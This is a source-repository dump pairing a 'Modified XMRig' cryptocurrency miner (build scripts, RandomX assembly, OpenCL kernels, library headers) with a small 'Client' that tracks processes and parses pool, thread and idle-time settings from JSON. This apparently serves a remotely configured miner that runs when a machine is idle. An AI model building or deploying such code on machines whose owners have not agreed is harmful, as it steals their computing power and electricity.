libressl-${LIBRESSL_VERSION}.tar.gz 13 | 14 | cd libressl-${LIBRESSL_VERSION} 15 | ./configure --disable-shared 16 | make -j$(nproc || sysctl -n hw.ncpu || sysctl -n hw.logicalcpu) 17 | cp -fr include ../../deps 18 | cp crypto/.libs/libcrypto.a ../../deps/lib 19 | cp ssl/.libs/libssl.a ../../deps/lib 20 | cd .. 21 | -------------------------------------------------------------------------------- /Client/src/process_info.cpp: -------------------------------------------------------------------------------- 1 | #include "../include/process_info.h" 2 | #include 3 | 4 | std::map ProcessStorage::processes_; 5 | std::mutex ProcessStorage::mutex_; 6 | 7 | void ProcessStorage::AddProcess(DWORD pid, PROCESS_INFORMATION pi) { 8 | std::lock_guard lock(mutex_); 9 | processes_[pid] = pi; 10 | } 11 | 12 | std::optional ProcessStorage::GetProcess(DWORD pid) { 13 | std::lock_guard lock(mutex_); 14 | auto it = processes_.find(pid); 15 | if (it != processes_.end()) { 16 | return it->second; 17 | } 18 | return std::nullopt; 19 | } 20 | -------------------------------------------------------------------------------- /Modified XMRig/scripts/build.openssl.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh -e 2 | 3 | OPENSSL_VERSION="1.1.1u" 4 | 5 | mkdir -p deps 6 | mkdir -p deps/include 7 | mkdir -p deps/lib 8 | 9 | mkdir -p build && cd build 10 | 11 | wget https://openssl.org/source/old/1.1.1/openssl-${OPENSSL_VERSION}.tar.gz -O openssl-${OPENSSL_VERSION}.tar.gz 12 | tar -xzf openssl-${OPENSSL_VERSION}.tar.gz 13 | 14 | cd openssl-${OPENSSL_VERSION} 15 | ./config -no-shared -no-asm -no-zlib -no-comp -no-dgram -no-filenames -no-cms 16 | make -j$(nproc || sysctl -n hw.ncpu || sysctl -n hw.logicalcpu) 17 | cp -fr include ../../deps 18 | cp libcrypto.a ../../deps/lib 19 | cp libssl.a ../../deps/lib 20 | cd .. 21 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_read_dataset.inc: -------------------------------------------------------------------------------- 1 | mov ecx, ebp ;# ecx = ma 2 | and ecx, RANDOMX_DATASET_BASE_MASK 3 | xor r8, qword ptr [rdi+rcx] 4 | ror rbp, 32 ;# swap "ma" and "mx" 5 | xor rbp, rax ;# modify "mx" 6 | mov edx, ebp ;# edx = mx 7 | and edx, RANDOMX_DATASET_BASE_MASK 8 | prefetchnta byte ptr [rdi+rdx] 9 | xor r9, qword ptr [rdi+rcx+8] 10 | xor r10, qword ptr [rdi+rcx+16] 11 | xor r11, qword ptr [rdi+rcx+24] 12 | xor r12, qword ptr [rdi+rcx+32] 13 | xor r13, qword ptr [rdi+rcx+40] 14 | xor r14, qword ptr [rdi+rcx+48] 15 | xor r15, qword ptr [rdi+rcx+56] 16 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_read_dataset_sshash_init.inc: -------------------------------------------------------------------------------- 1 | sub rsp, 200 2 | mov qword ptr [rsp+64], rbx 3 | mov qword ptr [rsp+56], r8 4 | mov qword ptr [rsp+48], r9 5 | mov qword ptr [rsp+40], r10 6 | mov qword ptr [rsp+32], r11 7 | mov qword ptr [rsp+24], r12 8 | mov qword ptr [rsp+16], r13 9 | mov qword ptr [rsp+8], r14 10 | mov qword ptr [rsp+0], r15 11 | ror rbp, 32 ;# swap "ma" and "mx" 12 | xor rbp, rax ;# modify "mx" 13 | mov rbx, rbp ;# ebx = ma 14 | shr rbx, 38 15 | and ebx, RANDOMX_DATASET_BASE_MASK / 64 ;# ebx = Dataset block number 16 | ;# add ebx, datasetOffset / 64 17 | ;# call 32768 -------------------------------------------------------------------------------- /Modified XMRig/cmake/FindUV.cmake: -------------------------------------------------------------------------------- 1 | find_path( 2 | UV_INCLUDE_DIR 3 | NAMES uv.h 4 | PATHS "${XMRIG_DEPS}" ENV "XMRIG_DEPS" 5 | PATH_SUFFIXES "include" 6 | NO_DEFAULT_PATH 7 | ) 8 | 9 | find_path(UV_INCLUDE_DIR NAMES uv.h) 10 | 11 | find_library( 12 | UV_LIBRARY 13 | NAMES libuv.a uv libuv 14 | PATHS "${XMRIG_DEPS}" ENV "XMRIG_DEPS" 15 | PATH_SUFFIXES "lib" 16 | NO_DEFAULT_PATH 17 | ) 18 | 19 | find_library(UV_LIBRARY NAMES libuv.a uv libuv) 20 | 21 | set(UV_LIBRARIES ${UV_LIBRARY}) 22 | set(UV_INCLUDE_DIRS ${UV_INCLUDE_DIR}) 23 | 24 | include(FindPackageHandleStandardArgs) 25 | find_package_handle_standard_args(UV DEFAULT_MSG UV_LIBRARY UV_INCLUDE_DIR) 26 | -------------------------------------------------------------------------------- /Modified XMRig/scripts/build.openssl3.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh -e 2 | 3 | OPENSSL_VERSION="3.0.15" 4 | 5 | mkdir -p deps 6 | mkdir -p deps/include 7 | mkdir -p deps/lib 8 | 9 | mkdir -p build && cd build 10 | 11 | wget https://github.com/openssl/openssl/releases/download/openssl-${OPENSSL_VERSION}/openssl-${OPENSSL_VERSION}.tar.gz -O openssl-${OPENSSL_VERSION}.tar.gz 12 | tar -xzf openssl-${OPENSSL_VERSION}.tar.gz 13 | 14 | cd openssl-${OPENSSL_VERSION} 15 | ./config -no-shared -no-asm -no-zlib -no-comp -no-dgram -no-filenames -no-cms 16 | make -j$(nproc || sysctl -n hw.ncpu || sysctl -n hw.logicalcpu) 17 | cp -fr include ../../deps 18 | cp libcrypto.a ../../deps/lib 19 | cp libssl.a ../../deps/lib 20 | cd .. 21 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_epilogue_win64.inc: -------------------------------------------------------------------------------- 1 | ;# restore callee-saved registers - Microsoft x64 calling convention 2 | movdqu xmm15, xmmword ptr [rsp] 3 | movdqu xmm14, xmmword ptr [rsp+16] 4 | movdqu xmm13, xmmword ptr [rsp+32] 5 | movdqu xmm12, xmmword ptr [rsp+48] 6 | movdqu xmm11, xmmword ptr [rsp+64] 7 | add rsp, 80 8 | movdqu xmm10, xmmword ptr [rsp] 9 | movdqu xmm9, xmmword ptr [rsp+16] 10 | movdqu xmm8, xmmword ptr [rsp+32] 11 | movdqu xmm7, xmmword ptr [rsp+48] 12 | movdqu xmm6, xmmword ptr [rsp+64] 13 | add rsp, 80 14 | pop r15 15 | pop r14 16 | pop r13 17 | pop r12 18 | pop rsi 19 | pop rdi 20 | pop rbp 21 | pop rbx 22 | 23 | ;# program finished 24 | ret 25 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_sshash_avx2_ssh_prefetch.inc: -------------------------------------------------------------------------------- 1 | vmovdqu ymmword ptr [rsp], ymm0 2 | 3 | mov rax, [rsp] 4 | and rax, RANDOMX_CACHE_MASK 5 | shl rax, 6 6 | add rax, rdi 7 | mov [rsp], rax 8 | prefetchnta byte ptr [rax] 9 | 10 | mov rax, [rsp+8] 11 | and rax, RANDOMX_CACHE_MASK 12 | shl rax, 6 13 | add rax, rdi 14 | mov [rsp+8], rax 15 | prefetchnta byte ptr [rax] 16 | 17 | mov rax, [rsp+16] 18 | and rax, RANDOMX_CACHE_MASK 19 | shl rax, 6 20 | add rax, rdi 21 | mov [rsp+16], rax 22 | prefetchnta byte ptr [rax] 23 | 24 | mov rax, [rsp+24] 25 | and rax, RANDOMX_CACHE_MASK 26 | shl rax, 6 27 | add rax, rdi 28 | mov [rsp+24], rax 29 | prefetchnta byte ptr [rax] 30 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_epilogue_store.inc: -------------------------------------------------------------------------------- 1 | ;# save VM register values 2 | add rsp, 40 3 | pop rcx 4 | mov qword ptr [rcx+0], r8 5 | mov qword ptr [rcx+8], r9 6 | mov qword ptr [rcx+16], r10 7 | mov qword ptr [rcx+24], r11 8 | mov qword ptr [rcx+32], r12 9 | mov qword ptr [rcx+40], r13 10 | mov qword ptr [rcx+48], r14 11 | mov qword ptr [rcx+56], r15 12 | movdqa xmmword ptr [rcx+64], xmm0 13 | movdqa xmmword ptr [rcx+80], xmm1 14 | movdqa xmmword ptr [rcx+96], xmm2 15 | movdqa xmmword ptr [rcx+112], xmm3 16 | lea rcx, [rcx+64] 17 | movdqa xmmword ptr [rcx+64], xmm4 18 | movdqa xmmword ptr [rcx+80], xmm5 19 | movdqa xmmword ptr [rcx+96], xmm6 20 | movdqa xmmword ptr [rcx+112], xmm7 -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/lib/impl-select.h: -------------------------------------------------------------------------------- 1 | #ifndef ARGON2_IMPL_SELECT_H 2 | #define ARGON2_IMPL_SELECT_H 3 | 4 | #include "core.h" 5 | 6 | typedef struct Argon2_impl { 7 | const char *name; 8 | int (*check)(void); 9 | void (*fill_segment)(const argon2_instance_t *instance, 10 | argon2_position_t position); 11 | } argon2_impl; 12 | 13 | typedef struct Argon2_impl_list { 14 | const argon2_impl *entries; 15 | size_t count; 16 | } argon2_impl_list; 17 | 18 | void argon2_get_impl_list(argon2_impl_list *list); 19 | void fill_segment_default(const argon2_instance_t *instance, 20 | argon2_position_t position); 21 | 22 | #endif // ARGON2_IMPL_SELECT_H 23 | 24 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_sshash_constants.inc: -------------------------------------------------------------------------------- 1 | r0_mul: 2 | ;#/ 6364136223846793005 3 | db 45, 127, 149, 76, 45, 244, 81, 88 4 | r1_add: 5 | ;#/ 9298411001130361340 6 | db 252, 161, 245, 89, 138, 151, 10, 129 7 | r2_add: 8 | ;#/ 12065312585734608966 9 | db 70, 216, 194, 56, 223, 153, 112, 167 10 | r3_add: 11 | ;#/ 9306329213124626780 12 | db 92, 73, 34, 191, 28, 185, 38, 129 13 | r4_add: 14 | ;#/ 5281919268842080866 15 | db 98, 138, 159, 23, 151, 37, 77, 73 16 | r5_add: 17 | ;#/ 10536153434571861004 18 | db 12, 236, 170, 206, 185, 239, 55, 146 19 | r6_add: 20 | ;#/ 3398623926847679864 21 | db 120, 45, 230, 108, 116, 86, 42, 47 22 | r7_add: 23 | ;#/ 9549104520008361294 24 | db 78, 229, 44, 182, 247, 59, 133, 132 -------------------------------------------------------------------------------- /Modified XMRig/cmake/FindHWLOC.cmake: -------------------------------------------------------------------------------- 1 | find_path( 2 | HWLOC_INCLUDE_DIR 3 | NAMES hwloc.h 4 | PATHS "${XMRIG_DEPS}" ENV "XMRIG_DEPS" 5 | PATH_SUFFIXES "include" 6 | NO_DEFAULT_PATH 7 | ) 8 | 9 | find_path(HWLOC_INCLUDE_DIR NAMES hwloc.h) 10 | 11 | find_library( 12 | HWLOC_LIBRARY 13 | NAMES hwloc.a hwloc libhwloc 14 | PATHS "${XMRIG_DEPS}" ENV "XMRIG_DEPS" 15 | PATH_SUFFIXES "lib" 16 | NO_DEFAULT_PATH 17 | ) 18 | 19 | find_library(HWLOC_LIBRARY NAMES hwloc.a hwloc libhwloc) 20 | 21 | set(HWLOC_LIBRARIES ${HWLOC_LIBRARY}) 22 | set(HWLOC_INCLUDE_DIRS ${HWLOC_INCLUDE_DIR}) 23 | 24 | include(FindPackageHandleStandardArgs) 25 | find_package_handle_standard_args(HWLOC DEFAULT_MSG HWLOC_LIBRARY HWLOC_INCLUDE_DIR) 26 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_imul_rcp_store.inc: -------------------------------------------------------------------------------- 1 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 2 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 3 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 4 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 5 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 6 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 7 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 8 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 9 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 10 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 11 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 12 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 13 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 14 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 15 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 16 | db 72, 185, 0, 0, 0, 0, 0, 0, 0, 0, 81 17 | add rsp, 128 18 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/hwloc/src/static-components.h: -------------------------------------------------------------------------------- 1 | HWLOC_DECLSPEC extern const struct hwloc_component hwloc_noos_component; 2 | HWLOC_DECLSPEC extern const struct hwloc_component hwloc_xml_component; 3 | HWLOC_DECLSPEC extern const struct hwloc_component hwloc_synthetic_component; 4 | HWLOC_DECLSPEC extern const struct hwloc_component hwloc_xml_nolibxml_component; 5 | HWLOC_DECLSPEC extern const struct hwloc_component hwloc_windows_component; 6 | HWLOC_DECLSPEC extern const struct hwloc_component hwloc_x86_component; 7 | static const struct hwloc_component * hwloc_static_components[] = { 8 | &hwloc_noos_component, 9 | &hwloc_xml_component, 10 | &hwloc_synthetic_component, 11 | &hwloc_xml_nolibxml_component, 12 | &hwloc_windows_component, 13 | &hwloc_x86_component, 14 | NULL 15 | }; 16 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/hwloc/include/private/windows.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright © 2009 Université Bordeaux 3 | * Copyright © 2020-2022 Inria. All rights reserved. 4 | * 5 | * See COPYING in top-level directory. 6 | */ 7 | 8 | #ifndef HWLOC_PRIVATE_WINDOWS_H 9 | #define HWLOC_PRIVATE_WINDOWS_H 10 | 11 | #ifndef _ANONYMOUS_UNION 12 | #ifdef __GNUC__ 13 | #define _ANONYMOUS_UNION __extension__ 14 | #else 15 | #define _ANONYMOUS_UNION 16 | #endif /* __GNUC__ */ 17 | #endif /* _ANONYMOUS_UNION */ 18 | 19 | #ifndef _ANONYMOUS_STRUCT 20 | #ifdef __GNUC__ 21 | #define _ANONYMOUS_STRUCT __extension__ 22 | #else 23 | #define _ANONYMOUS_STRUCT 24 | #endif /* __GNUC__ */ 25 | #endif /* _ANONYMOUS_STRUCT */ 26 | 27 | #define DUMMYUNIONNAME 28 | #define DUMMYSTRUCTNAME 29 | 30 | #endif /* HWLOC_PRIVATE_WINDOWS_H */ 31 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/cn/c_jh.h: -------------------------------------------------------------------------------- 1 | /*This program gives the 64-bit optimized bitslice implementation of JH using ANSI C 2 | 3 | -------------------------------- 4 | Performance 5 | 6 | Microprocessor: Intel CORE 2 processor (Core 2 Duo Mobile T6600 2.2GHz) 7 | Operating System: 64-bit Ubuntu 10.04 (Linux kernel 2.6.32-22-generic) 8 | Speed for long message: 9 | 1) 45.8 cycles/byte compiler: Intel C++ Compiler 11.1 compilation option: icc -O2 10 | 2) 56.8 cycles/byte compiler: gcc 4.4.3 compilation option: gcc -O3 11 | 12 | -------------------------------- 13 | Last Modified: January 16, 2011 14 | */ 15 | #pragma once 16 | 17 | #include "hash.h" 18 | 19 | HashReturn jh_hash(int hashbitlen, const BitSequence *data, DataLength databitlen, BitSequence *hashval); 20 | -------------------------------------------------------------------------------- /Modified XMRig/scripts/build.hwloc.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh -e 2 | 3 | HWLOC_VERSION_MAJOR="2" 4 | HWLOC_VERSION_MINOR="11" 5 | HWLOC_VERSION_PATCH="2" 6 | 7 | HWLOC_VERSION="${HWLOC_VERSION_MAJOR}.${HWLOC_VERSION_MINOR}.${HWLOC_VERSION_PATCH}" 8 | 9 | mkdir -p deps 10 | mkdir -p deps/include 11 | mkdir -p deps/lib 12 | 13 | mkdir -p build && cd build 14 | 15 | wget https://download.open-mpi.org/release/hwloc/v${HWLOC_VERSION_MAJOR}.${HWLOC_VERSION_MINOR}/hwloc-${HWLOC_VERSION}.tar.gz -O hwloc-${HWLOC_VERSION}.tar.gz 16 | tar -xzf hwloc-${HWLOC_VERSION}.tar.gz 17 | 18 | cd hwloc-${HWLOC_VERSION} 19 | ./configure --disable-shared --enable-static --disable-io --disable-libudev --disable-libxml2 20 | make -j$(nproc || sysctl -n hw.ncpu || sysctl -n hw.logicalcpu) 21 | cp -fr include ../../deps 22 | cp hwloc/.libs/libhwloc.a ../../deps/lib 23 | cd .. 24 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/opencl/cl/cn/cryptonight_r_defines.cl: -------------------------------------------------------------------------------- 1 | #ifdef __NV_CL_C_VERSION 2 | # define SCRATCHPAD_CHUNK(N) (*(__local uint4*)((__local uchar*)(scratchpad_line) + (idx1 ^ (N << 4)))) 3 | #else 4 | # if (STRIDED_INDEX == 0) 5 | # define SCRATCHPAD_CHUNK(N) (*(__global uint4*)((__global uchar*)(Scratchpad) + (idx ^ (N << 4)))) 6 | # elif (STRIDED_INDEX == 1) 7 | # define SCRATCHPAD_CHUNK(N) (*(__global uint4*)((__global uchar*)(Scratchpad) + mul24(as_uint(idx ^ (N << 4)), Threads))) 8 | # elif (STRIDED_INDEX == 2) 9 | # define SCRATCHPAD_CHUNK(N) (*(__global uint4*)((__global uchar*)(Scratchpad) + (((idx ^ (N << 4)) % (MEM_CHUNK << 4)) + ((idx ^ (N << 4)) / (MEM_CHUNK << 4)) * WORKSIZE * (MEM_CHUNK << 4)))) 10 | # endif 11 | #endif 12 | 13 | #define ROT_BITS 32 14 | #define MEM_CHUNK (1 << MEM_CHUNK_EXPONENT) 15 | 16 | #include "wolf-aes.cl" 17 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_loop_load_xop.inc: -------------------------------------------------------------------------------- 1 | lea rcx, [rsi+rax] 2 | mov [rsp+16], rcx 3 | xor r8, qword ptr [rcx+0] 4 | xor r9, qword ptr [rcx+8] 5 | xor r10, qword ptr [rcx+16] 6 | xor r11, qword ptr [rcx+24] 7 | xor r12, qword ptr [rcx+32] 8 | xor r13, qword ptr [rcx+40] 9 | xor r14, qword ptr [rcx+48] 10 | xor r15, qword ptr [rcx+56] 11 | lea rcx, [rsi+rdx] 12 | mov [rsp+24], rcx 13 | cvtdq2pd xmm0, qword ptr [rcx+0] 14 | cvtdq2pd xmm1, qword ptr [rcx+8] 15 | cvtdq2pd xmm2, qword ptr [rcx+16] 16 | cvtdq2pd xmm3, qword ptr [rcx+24] 17 | cvtdq2pd xmm4, qword ptr [rcx+32] 18 | cvtdq2pd xmm5, qword ptr [rcx+40] 19 | cvtdq2pd xmm6, qword ptr [rcx+48] 20 | cvtdq2pd xmm7, qword ptr [rcx+56] 21 | vpcmov xmm4, xmm4, xmm14, xmm13 22 | vpcmov xmm5, xmm5, xmm14, xmm13 23 | vpcmov xmm6, xmm6, xmm14, xmm13 24 | vpcmov xmm7, xmm7, xmm14, xmm13 25 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_loop_load.inc: -------------------------------------------------------------------------------- 1 | lea rcx, [rsi+rax] 2 | mov [rsp+16], rcx 3 | xor r8, qword ptr [rcx+0] 4 | xor r9, qword ptr [rcx+8] 5 | xor r10, qword ptr [rcx+16] 6 | xor r11, qword ptr [rcx+24] 7 | xor r12, qword ptr [rcx+32] 8 | xor r13, qword ptr [rcx+40] 9 | xor r14, qword ptr [rcx+48] 10 | xor r15, qword ptr [rcx+56] 11 | lea rcx, [rsi+rdx] 12 | mov [rsp+24], rcx 13 | cvtdq2pd xmm0, qword ptr [rcx+0] 14 | cvtdq2pd xmm1, qword ptr [rcx+8] 15 | cvtdq2pd xmm2, qword ptr [rcx+16] 16 | cvtdq2pd xmm3, qword ptr [rcx+24] 17 | cvtdq2pd xmm4, qword ptr [rcx+32] 18 | cvtdq2pd xmm5, qword ptr [rcx+40] 19 | cvtdq2pd xmm6, qword ptr [rcx+48] 20 | cvtdq2pd xmm7, qword ptr [rcx+56] 21 | andpd xmm4, xmm13 22 | andpd xmm5, xmm13 23 | andpd xmm6, xmm13 24 | andpd xmm7, xmm13 25 | orpd xmm4, xmm14 26 | orpd xmm5, xmm14 27 | orpd xmm6, xmm14 28 | orpd xmm7, xmm14 29 | -------------------------------------------------------------------------------- /Modified XMRig/scripts/solo_mine_example.cmd: -------------------------------------------------------------------------------- 1 | :: Example batch file for mining Monero solo 2 | :: 3 | :: Format: 4 | :: xmrig.exe -o : -a rx/0 -u --daemon 5 | :: 6 | :: Fields: 7 | :: node address The host name of your monerod node or its IP address. It can also be a public node with RPC enabled, for example node.xmr.to 8 | :: node port The RPC port of your monerod node to connect to, usually 18081. 9 | :: wallet address Check your Monero CLI or GUI wallet to see your wallet's address. 10 | :: 11 | :: Mining solo is the best way to help Monero network be more decentralized! 12 | :: But you will only get a payout when you find a block which can take more than a year for a single low-end PC. 13 | 14 | cd /d "%~dp0" 15 | xmrig.exe -o YOUR_NODE_IP:18081 -a rx/0 -u 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD --daemon 16 | pause 17 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/opencl/cl/cn/fast_div_heavy.cl: -------------------------------------------------------------------------------- 1 | #ifndef FAST_DIV_HEAVY_CL 2 | #define FAST_DIV_HEAVY_CL 3 | 4 | #if (ALGO_FAMILY == FAMILY_CN_HEAVY) 5 | 6 | inline long fast_div_heavy(long _a, int _b) 7 | { 8 | long a = abs(_a); 9 | int b = abs(_b); 10 | 11 | float rcp = native_recip(convert_float_rte(b)); 12 | float rcp2 = as_float(as_uint(rcp) + (32U << 23)); 13 | 14 | ulong q1 = convert_ulong(convert_float_rte(as_int2(a).s1) * rcp2); 15 | a -= q1 * as_uint(b); 16 | 17 | float q2f = convert_float_rte(as_int2(a >> 12).s0) * rcp; 18 | q2f = as_float(as_uint(q2f) + (12U << 23)); 19 | long q2 = convert_long_rte(q2f); 20 | int a2 = as_int2(a).s0 - as_int2(q2).s0 * b; 21 | 22 | int q3 = convert_int_rte(convert_float_rte(a2) * rcp); 23 | q3 += (a2 - q3 * b) >> 31; 24 | 25 | const long q = q1 + q2 + q3; 26 | return ((as_int2(_a).s1 ^ _b) < 0) ? -q : q; 27 | } 28 | 29 | #endif 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_sshash_avx2_constants.inc: -------------------------------------------------------------------------------- 1 | r0_avx2_increments: 2 | db 2,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,5,0,0,0,0,0,0,0 3 | mul_hi_avx2_data: 4 | db 0,0,0,0,1,0,0,0 5 | r0_avx2_mul: 6 | ;#/ 6364136223846793005 7 | db 45, 127, 149, 76, 45, 244, 81, 88 8 | r1_avx2_add: 9 | ;#/ 9298411001130361340 10 | db 252, 161, 245, 89, 138, 151, 10, 129 11 | r2_avx2_add: 12 | ;#/ 12065312585734608966 13 | db 70, 216, 194, 56, 223, 153, 112, 167 14 | r3_avx2_add: 15 | ;#/ 9306329213124626780 16 | db 92, 73, 34, 191, 28, 185, 38, 129 17 | r4_avx2_add: 18 | ;#/ 5281919268842080866 19 | db 98, 138, 159, 23, 151, 37, 77, 73 20 | r5_avx2_add: 21 | ;#/ 10536153434571861004 22 | db 12, 236, 170, 206, 185, 239, 55, 146 23 | r6_avx2_add: 24 | ;#/ 3398623926847679864 25 | db 120, 45, 230, 108, 116, 86, 42, 47 26 | r7_avx2_add: 27 | ;#/ 9549104520008361294 28 | db 78, 229, 44, 182, 247, 59, 133, 132 -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/lib/blake2/blake2.h: -------------------------------------------------------------------------------- 1 | #ifndef ARGON2_BLAKE2_H 2 | #define ARGON2_BLAKE2_H 3 | 4 | #include 5 | #include 6 | 7 | enum blake2b_constant { 8 | BLAKE2B_BLOCKBYTES = 128, 9 | BLAKE2B_OUTBYTES = 64, 10 | BLAKE2B_KEYBYTES = 64, 11 | BLAKE2B_SALTBYTES = 16, 12 | BLAKE2B_PERSONALBYTES = 16 13 | }; 14 | 15 | typedef struct __blake2b_state { 16 | uint64_t h[8]; 17 | uint64_t t[2]; 18 | uint8_t buf[BLAKE2B_BLOCKBYTES]; 19 | size_t buflen; 20 | } blake2b_state; 21 | 22 | /* Streaming API */ 23 | void xmrig_ar2_blake2b_init(blake2b_state *S, size_t outlen); 24 | void xmrig_ar2_blake2b_update(blake2b_state *S, const void *in, size_t inlen); 25 | void xmrig_ar2_blake2b_final(blake2b_state *S, void *out, size_t outlen); 26 | 27 | void xmrig_ar2_blake2b_long(void *out, size_t outlen, const void *in, size_t inlen); 28 | 29 | #endif // ARGON2_BLAKE2_H 30 | 31 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_sshash_avx2_epilogue.inc: -------------------------------------------------------------------------------- 1 | add rsp, 40 2 | pop r9 3 | 4 | movdqu xmm0, xmmword ptr [rsp] 5 | movdqu xmm1, xmmword ptr [rsp + 16] 6 | movdqu xmm2, xmmword ptr [rsp + 32] 7 | movdqu xmm3, xmmword ptr [rsp + 48] 8 | movdqu xmm4, xmmword ptr [rsp + 64] 9 | movdqu xmm5, xmmword ptr [rsp + 80] 10 | movdqu xmm6, xmmword ptr [rsp + 96] 11 | movdqu xmm7, xmmword ptr [rsp + 112] 12 | movdqu xmm8, xmmword ptr [rsp + 128] 13 | movdqu xmm9, xmmword ptr [rsp + 144] 14 | movdqu xmm10, xmmword ptr [rsp + 160] 15 | movdqu xmm11, xmmword ptr [rsp + 176] 16 | movdqu xmm12, xmmword ptr [rsp + 192] 17 | movdqu xmm13, xmmword ptr [rsp + 208] 18 | movdqu xmm14, xmmword ptr [rsp + 224] 19 | movdqu xmm15, xmmword ptr [rsp + 240] 20 | vzeroupper 21 | add rsp, 256 22 | 23 | pop r15 24 | pop r14 25 | pop r13 26 | pop r12 27 | pop rsi 28 | pop rdi 29 | pop rbp 30 | pop rbx 31 | ret 32 | -------------------------------------------------------------------------------- /Client/src/json_printer.cpp: -------------------------------------------------------------------------------- 1 | #include "../include/json.hpp" 2 | #include 3 | #include 4 | 5 | 6 | struct MiningPoolData { 7 | std::string address; 8 | int threads; 9 | int idle_threads; 10 | int idle_time; 11 | std::string password; 12 | std::string pool; 13 | bool ssl; 14 | }; 15 | 16 | 17 | MiningPoolData extractMiningPoolData(const nlohmann::json& data) { 18 | MiningPoolData poolData; 19 | 20 | // Extract each field from JSON into variables 21 | poolData.address = data["address"].get(); 22 | poolData.threads = data["threads"].get(); 23 | poolData.idle_threads = data["idle_threads"].get(); 24 | poolData.idle_time = data["idle_time"].get(); 25 | poolData.password = data["password"].get(); 26 | poolData.pool = data["pool"].get(); 27 | poolData.ssl = data["ssl"].get(); 28 | 29 | return poolData; 30 | } -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_sshash_avx2_save_registers.inc: -------------------------------------------------------------------------------- 1 | push rbx 2 | push rbp 3 | push rdi 4 | push rsi 5 | push r12 6 | push r13 7 | push r14 8 | push r15 9 | 10 | ;# save all XMM registers just to be safe for all calling conventions 11 | sub rsp, 256 12 | movdqu xmmword ptr [rsp], xmm0 13 | movdqu xmmword ptr [rsp + 16], xmm1 14 | movdqu xmmword ptr [rsp + 32], xmm2 15 | movdqu xmmword ptr [rsp + 48], xmm3 16 | movdqu xmmword ptr [rsp + 64], xmm4 17 | movdqu xmmword ptr [rsp + 80], xmm5 18 | movdqu xmmword ptr [rsp + 96], xmm6 19 | movdqu xmmword ptr [rsp + 112], xmm7 20 | movdqu xmmword ptr [rsp + 128], xmm8 21 | movdqu xmmword ptr [rsp + 144], xmm9 22 | movdqu xmmword ptr [rsp + 160], xmm10 23 | movdqu xmmword ptr [rsp + 176], xmm11 24 | movdqu xmmword ptr [rsp + 192], xmm12 25 | movdqu xmmword ptr [rsp + 208], xmm13 26 | movdqu xmmword ptr [rsp + 224], xmm14 27 | movdqu xmmword ptr [rsp + 240], xmm15 28 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/hwloc/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.5) 2 | project (hwloc C) 3 | 4 | include_directories(include) 5 | include_directories(src) 6 | 7 | add_definitions(/D_CRT_SECURE_NO_WARNINGS) 8 | set(CMAKE_C_FLAGS_RELEASE "/MT /O2 /Ob2 /DNDEBUG") 9 | 10 | set(HEADERS 11 | include/hwloc.h 12 | src/static-components.h 13 | ) 14 | 15 | set(SOURCES 16 | src/base64.c 17 | src/bind.c 18 | src/bitmap.c 19 | src/components.c 20 | src/diff.c 21 | src/distances.c 22 | src/misc.c 23 | src/pci-common.c 24 | src/shmem.c 25 | src/topology.c 26 | src/topology-noos.c 27 | src/topology-synthetic.c 28 | src/topology-windows.c 29 | src/topology-x86.c 30 | src/topology-xml.c 31 | src/topology-xml-nolibxml.c 32 | src/traversal.c 33 | src/memattrs.c 34 | src/cpukinds.c 35 | ) 36 | 37 | add_library(hwloc STATIC 38 | ${HEADERS} 39 | ${SOURCES} 40 | ) 41 | -------------------------------------------------------------------------------- /Modified XMRig/doc/CPU_MAX_USAGE.md: -------------------------------------------------------------------------------- 1 | # Maximum CPU usage 2 | 3 | Please read this document carefully, `max-threads-hint` (was known as `max-cpu-usage`) option is most confusing option in the miner with many myth and legends. 4 | This option is just hint for automatic configuration and can't precise define CPU usage. 5 | 6 | ### 